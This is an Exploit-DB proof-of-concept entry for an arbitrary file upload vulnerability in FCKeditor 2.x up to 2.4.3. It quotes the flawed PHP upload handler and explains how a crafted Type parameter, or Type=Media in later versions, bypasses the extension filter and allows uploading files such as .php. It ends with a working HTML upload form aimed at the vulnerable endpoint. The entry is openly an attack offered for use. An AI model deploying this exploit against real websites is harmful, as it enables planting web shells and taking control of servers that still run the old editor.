FCKeditor 2.x <= 2.4.3 - Arbitrary File Upload Vulnerability



EDB-ID: 15484 CVE: N/A OSVDB-ID: N/A
Author: grabz Published: 2010-11-10 Verified: Not Verified
Exploit Code:   Download Vulnerable App:    Download

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# Exploit Title: FCKeditor 2.0-2.4.3 arbitrary file upload
# Author: grabz
# Software Link: http://sourceforge.net/projects/fckeditor/
# Version: FCKeditor 2.x <= 2.4.3
# Tested on: 2.0, 2.2, 2.3.2, 2.4.0, 2.4.3

for version 2.0 - 2.2:
in file FCKeditor/editor/filemanager/upload/php/upload.php
#$sType = isset( $_GET['Type'] ) ? $_GET['Type'] : 'File' ;
#
#// Get the allowed and denied extensions arrays.
#$arAllowed    = $Config['AllowedExtensions'][$sType] ;
#$arDenied    = $Config['DeniedExtensions'][$sType] ;
we can send as Type any text that not contained in (File, Flash, Image) and
then we can upload file with any extension like ".php"

for version 2.3.0 - 2.4.3:
in file FCKeditor/editor/filemanager/upload/php/upload.php
#$sType = isset( $_GET['Type'] ) ? $_GET['Type'] : 'File' ;
#
#// Check if it is an allowed type.
#if ( !in_array( $sType, array('File','Image','Flash','Media') ) )
#    SendResults( 1, '', '', 'Invalid type specified' ) ;
#
#// Get the allowed and denied extensions arrays.
#$arAllowed    = $Config['AllowedExtensions'][$sType] ;
#$arDenied    = $Config['DeniedExtensions'][$sType] ;
in this code we can see filter by Type, but in config.php
$Config['AllowedExtensions']['Media'] and
$Config['DeniedExtensions']['Media'] not exists))
if we send Type=Media, we can upload any file)

#Exploit
<form enctype="multipart/form-data" action="
http://localhost/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media"
method="post">
<input name="NewFile" type="file">
<input type="submit" value="submit">
</form>